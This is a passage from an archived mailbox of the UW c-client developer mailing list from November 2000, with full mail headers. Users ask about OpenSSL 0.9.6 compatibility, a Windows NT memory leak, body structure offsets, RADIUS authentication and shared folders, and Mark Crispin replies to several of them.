(server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA41754; Thu, 2 Nov 2000 12:03:09 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA143784 for ; Thu, 2 Nov 2000 11:57:51 -0800 Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA29398 for ; Thu, 2 Nov 2000 11:57:51 -0800 Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.117.200.23]) by e4.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id OAA209540; Thu, 2 Nov 2000 14:57:17 -0500 Received: from badlands.lexington.ibm.com (badlands.lexington.ibm.com [9.51.81.11]) by northrelay03.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id OAA126668; Thu, 2 Nov 2000 14:57:26 -0500 Received: from localhost (cowboy@localhost [127.0.0.1]) (authenticated (0 bits)) by badlands.lexington.ibm.com (8.11.2.Beta0/8.11.2.Beta0/Debian 8.11.0-6) with ESMTP id eA2Juu227122; Thu, 2 Nov 2000 14:56:56 -0500 Message-Id: Date: Thu, 2 Nov 2000 14:56:55 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Richard A Nelson To: "Jaldhar H. Vyas" Cc: Subject: Re: smtp support in c-client In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-No-Markup: yes X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 2 Nov 2000, Jaldhar H. Vyas wrote: > I assume you're using the debian version? :-) I have the Debian c-client 4.7, yes - but this came up when I built pine 4.30 (for home/work usage). > That's c-client 4.7. the version in imap2000 (which I am packaging write > now) has much greater support. From the FAQ: Indeed, thats the functionality in the c-client that comes with pine 4.30 that I'm trying to get working. > I will make a seperate libc-client2000-ssl which will have this support > compiled in. Cool, I've been thinking of modifying pine to use the libc-client.so instead of of the .a file - for easier upgrades. -- Rick Nelson Life'll kill ya -- Warren Zevon Then you'll be dead -- Life'll kill ya From pinedev@shivax2.cac.washington.edu Fri Nov 3 07:27:35 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Nov 2000 07:27:35 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id HAA08422 for ; Fri, 3 Nov 2000 07:27:34 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA12838; Fri, 3 Nov 2000 07:27:32 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA13444; Fri, 3 Nov 2000 07:26:26 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA367430 for ; Fri, 3 Nov 2000 07:23:57 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA23003 for ; Fri, 3 Nov 2000 07:23:57 -0800 Received: from aragorn.neomedia.it (aragorn.neomedia.it [195.103.207.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA12756 for ; Fri, 3 Nov 2000 07:23:52 -0800 Received: from neomedia.it (elrond.neomedia.it [195.120.250.8]) by aragorn.neomedia.it (8.10.1/8.10.1) with ESMTP id eA3FNmT19670 for ; Fri, 3 Nov 2000 16:23:49 +0100 (CET) Message-Id: <3A02D884.5270C1FD@neomedia.it> Date: Fri, 03 Nov 2000 16:23:48 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Federico Giannici To: C-Client Subject: UW_IMAP-2000 and OpenSSL 0.9.6 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: giannici@neomedia.it X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I wasn't able to make UW_IMAP-2000 work with OpenSSL 0.9.6. I have found that it newer returns from the SSL_CTX_new() function in ssl_server_init()... No problem when I compiled it with the old OpenSSL 0.9.5a. Is it a known issue? Bye, ___________________________________________________ __ |- giannici@neomedia.it |ederico Giannici http://www.neomedia.it ___________________________________________________ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Nov 5 07:29:21 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Nov 2000 07:29:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id HAA26460 for ; Sun, 5 Nov 2000 07:29:19 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA26337; Sun, 5 Nov 2000 07:29:17 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA24112; Sun, 5 Nov 2000 07:28:28 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA134646 for ; Sun, 5 Nov 2000 07:24:52 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA26260 for ; Sun, 5 Nov 2000 07:24:51 -0800 Received: from chrome2.apexvoice.com (chrome3.apexvoice.com [206.117.255.11]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA03606 for ; Sun, 5 Nov 2000 07:24:51 -0800 Received: from user (ws-206-117-255-225.apexvoice.com [206.117.255.225] (may be forged)) by chrome2.apexvoice.com (8.9.3/8.9.3) with SMTP id HAA23051 for ; Sun, 5 Nov 2000 07:34:47 -0800 Message-Id: Date: Sun, 5 Nov 2000 07:30:23 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Steve Collins" To: Subject: RE: Memory leak on WINNT MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000A_01C046FA.4293E190" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_000A_01C046FA.4293E190 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Back in March, Joel Park posted: >There seems to be a minor memory leak. tcp_close() in tcp_nt.c does not free >the memory for stream->remotehost nor does it get freed elsewhere as far as >I can see. I see this also. Any fixes out there? It seems easy enough...... Cheers ============================================== Steve Collins APEX Voice Communications http://www.apexvoice.com Phone: 1-818-379-8400 Fax: 1-818-379-8410 ============================================== The trouble about arguments is, they ain't nothing but theories, after all, and theories don't prove nothing, they only give you a place to rest on a spell when you are tuckered out butting around and around trying to find out something there ain't no way to find out. -- Mark Twain ------=_NextPart_000_000A_01C046FA.4293E190 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Back = in March, Joel=20 Park posted:
     
    >There seems to=20 be a minor memory leak. tcp_close() in tcp_nt.c does not free
    >the = memory=20 for stream->remotehost nor does it get freed elsewhere as far = as
    >I can=20 see.
     
    I see = this=20 also.  Any fixes out there?  It seems easy=20 enough......
     
    Cheers
    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<= /FONT>
    Steve Collins
    APEX Voice Communications
    Phone: 1-818-379-8400
    Fax:    =20 1-818-379-8410
    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<= /FONT>
    The trouble about arguments is, they = ain't nothing=20 but theories, after all, and theories don't prove nothing, they only = give you a=20 place to rest on a spell when you are tuckered out butting around and = around=20 trying to find out something there ain't no way to find out. -- Mark = Twain=20

     
    ------=_NextPart_000_000A_01C046FA.4293E190-- From pinedev@shivax2.cac.washington.edu Sun Nov 5 10:35:33 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Nov 2000 10:35:32 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id KAA15998 for ; Sun, 5 Nov 2000 10:35:31 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA06607; Sun, 5 Nov 2000 10:35:29 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA15250; Sun, 5 Nov 2000 10:33:24 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA385894 for ; Sun, 5 Nov 2000 10:28:46 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA28670 for ; Sun, 5 Nov 2000 10:28:45 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (ptor@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA06501 for ; Sun, 5 Nov 2000 10:28:45 -0800 Message-Id: Date: Sun, 5 Nov 2000 10:27:44 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Steve Collins Cc: c-client@CAC.Washington.EDU Subject: RE: Memory leak on WINNT In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 5 Nov 2000 07:30:23 -0800, Steve Collins wrote: > >There seems to be a minor memory leak. tcp_close() in tcp_nt.c does not > >free the memory for stream->remotehost far as > I see this also. Any fixes out there? It seems easy enough...... This was fixed quite some time ago. Upgrade to the current version. ftp://ftp.cac.washington.edu/mail/imap.tar.Z From pinedev@shivax2.cac.washington.edu Sun Nov 5 15:52:11 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Nov 2000 15:52:11 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id PAA23295 for ; Sun, 5 Nov 2000 15:52:10 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA11953; Sun, 5 Nov 2000 15:52:08 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA09262; Sun, 5 Nov 2000 15:50:56 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA385980 for ; Sun, 5 Nov 2000 15:49:54 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA04377 for ; Sun, 5 Nov 2000 15:49:54 -0800 Received: from neouvielle.enserb.fr (root@neouvielle.enserb.fr [147.210.18.138]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA11916 for ; Sun, 5 Nov 2000 15:49:52 -0800 Received: from enserb.fr (dinh@narrhavas [147.210.18.145]) by neouvielle.enserb.fr (8.9.3/8.9.3) with ESMTP id AAA03009 for ; Mon, 6 Nov 2000 00:49:50 +0100 (MET) Message-Id: <3A060044.A62A1D05@enserb.fr> Date: Mon, 06 Nov 2000 00:50:12 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "DINH V. =?iso-8859-1?Q?Ho=E0?=" To: c-client@CAC.Washington.EDU Subject: multipart / body structure MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: dinh@enserb.fr X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN when I fetch body structure using : (1) env = mail_fetchstructure(stream, selected, &body); (2) msg = mail_fetch_text(stream, selected, NULL, &len, 0); for imap4 or pop3 protocols, problems happen while for nntp and local file there results are correct. the offsets / lengths of the different parts of the body are set to 0 for imap4 protocol. the offsets and lengths of the different parts of the body are wrong for pop3 protocol. (I suppose the corresponding body is msg). -- Hoa -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Nov 5 21:53:52 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Nov 2000 21:53:52 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id VAA31349 for ; Sun, 5 Nov 2000 21:53:51 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA18418; Sun, 5 Nov 2000 21:53:49 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA43114; Sun, 5 Nov 2000 21:52:52 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA232006 for ; Sun, 5 Nov 2000 21:47:08 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA32027 for ; Sun, 5 Nov 2000 21:47:07 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (major@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA08307 for ; Sun, 5 Nov 2000 21:47:07 -0800 Message-Id: Date: Sun, 5 Nov 2000 21:43:25 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "DINH V. =?iso-8859-1?Q?Ho=E0?=" Cc: c-client@CAC.Washington.EDU Subject: re: multipart / body structure In-Reply-To: <3A060044.A62A1D05@enserb.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 06 Nov 2000 00:50:12 +0000, DINH V. =?iso-8859-1?Q?Ho=E0?= wrote: > the offsets / lengths of the different > parts of the body are set to 0 for imap4 protocol. > > the offsets and lengths of the different > parts of the body are wrong for pop3 protocol. If by "offsets and lengths" you are referring to body->contents.offset body->contents.text.size you are referencing c-client internal data which application programs MUST NOT use. The use of these data is driver specific. Some drivers don't use it at all. Some drivers use it in one way, some use it in another. You may only use body->size.bytes body->size.lines in your application programs. From pinedev@shivax2.cac.washington.edu Mon Nov 6 02:50:41 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Nov 2000 02:50:40 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id CAA16033 for ; Mon, 6 Nov 2000 02:50:39 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA13583; Mon, 6 Nov 2000 02:50:37 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA44360; Mon, 6 Nov 2000 02:47:24 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA155134 for ; Mon, 6 Nov 2000 02:46:13 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA15254 for ; Mon, 6 Nov 2000 02:46:12 -0800 Received: from mango.telerian.net ([195.188.42.141]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA13493 for ; Mon, 6 Nov 2000 02:46:10 -0800 Received: from tunbury (tunbury.demon.co.uk [194.222.23.6]) by mango.telerian.net (8.10.1/8.10.1) with SMTP id eA6Ajrx01474 for ; Mon, 6 Nov 2000 10:45:53 GMT Message-Id: <007c01c047df$74f9f030$0617dec2@demon.co.uk> Date: Mon, 6 Nov 2000 10:51:01 -0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mark Elvers" To: Subject: RADIUS Authentication MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there any way that imapd can be configured to allow a RADIUS server to authenticate users? --mte -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 6 09:16:37 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Nov 2000 09:16:36 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id JAA05864 for ; Mon, 6 Nov 2000 09:16:35 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA21854; Mon, 6 Nov 2000 09:16:33 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA14732; Mon, 6 Nov 2000 09:12:07 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA388416 for ; Mon, 6 Nov 2000 09:10:39 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA21989 for ; Mon, 6 Nov 2000 09:10:39 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (psw@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA31658 for ; Mon, 6 Nov 2000 09:10:39 -0800 Message-Id: Date: Mon, 6 Nov 2000 09:09:37 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: dinh@enserb.fr Cc: c-client@CAC.Washington.EDU Subject: Re: multipart / body structure In-Reply-To: <3A066DF9.C2DA3FBC@fingo.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 06 Nov 2000 09:38:17 +0100, DINH V. Hoa wrote: > But I want to know what theses data refers to > because in the MIME content, we can also find data like : > > This is a multi-part message in MIME format. > --------------954960E33009CEE91D0D5C13 > Content-Type: text/plain; charset=us-ascii > Content-Transfer-Encoding: 7bit > > which must not be taken account of in the size of the > part of the multipart data. > Then, I want to know what I should exactly use instead of > body->contents.offset > body->contents.text.size If you want the MIME header, you should use mail_fetch_mime(). From pinedev@shivax2.cac.washington.edu Mon Nov 6 16:47:34 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Nov 2000 16:47:34 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id QAA11993 for ; Mon, 6 Nov 2000 16:47:33 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA15795; Mon, 6 Nov 2000 16:47:27 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA24008; Mon, 6 Nov 2000 16:45:58 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA20024 for ; Mon, 6 Nov 2000 16:44:36 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA24771 for ; Mon, 6 Nov 2000 16:44:36 -0800 Received: from mail19.bigmailbox.com (mail19.bigmailbox.com [209.132.220.50]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA15690 for ; Mon, 6 Nov 2000 16:44:35 -0800 Received: by mail19.bigmailbox.com (8.8.7/8.8.7) id QAA11472; Mon, 6 Nov 2000 16:50:54 -0800 Message-Id: <200011070050.QAA11472@mail19.bigmailbox.com> Date: Mon, 6 Nov 2000 16:50:54 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Henri Dupre" To: c-client@CAC.Washington.EDU Subject: Setting up shared folders Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: binary Mime-Version: 1.0 X-Originating-Ip: [195.36.145.38] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Actually I'm using shared folders with symbolic links. This way users can see some shared folders from any mail client like Outlook express. But I read that c-client is able to handle "real" shared folders. This would allow me to get a better file layout instead of always recreating the links. How does that stuff work ? ------------------------------------------------------------ --== Sent via Deja.com http://www.deja.com/ ==-- Before you buy. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 6 17:08:48 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Nov 2000 17:08:48 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id RAA26639 for ; Mon, 6 Nov 2000 17:08:47 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA16456; Mon, 6 Nov 2000 17:08:45 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA44762; Mon, 6 Nov 2000 17:02:38 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA93082 for ; Mon, 6 Nov 2000 17:01:49 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA28426 for ; Mon, 6 Nov 2000 17:01:49 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA06178 for ; Mon, 6 Nov 2000 17:01:49 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA00551; Mon, 6 Nov 2000 17:01:49 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (mtk@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id RAA06218; Mon, 6 Nov 2000 17:01:49 -0800 Message-Id: Date: Mon, 6 Nov 2000 17:00:17 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Henri Dupre Cc: c-client@CAC.Washington.EDU Subject: re: Setting up shared folders In-Reply-To: <200011070050.QAA11472@mail19.bigmailbox.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 6 Nov 2000 16:50:54 -0800, Henri Dupre wrote: > Actually I'm using shared folders with symbolic links. This way users can > see some shared folders from any mail client like Outlook express. But I > read that c-client is able to handle "real" shared folders. This would allow > me to get a better file layout instead of always recreating the links. How > does that stuff work ? If you create user "imapshared" then its home directory can be referenced as #shared/ In other words, mailbox "foo" in imapshared's home directory is #shared/foo From pinedev@shivax2.cac.washington.edu Tue Nov 7 01:38:00 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Nov 2000 01:37:59 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id BAA31997 for ; Tue, 7 Nov 2000 01:37:58 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA16039; Tue, 7 Nov 2000 01:37:56 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA42226; Tue, 7 Nov 2000 01:36:52 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA90900 for ; Tue, 7 Nov 2000 01:35:51 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA22267 for ; Tue, 7 Nov 2000 01:35:51 -0800 Received: from mail22.bigmailbox.com (mail22.bigmailbox.com [209.132.220.199]) by mx1.cac.washington.edu 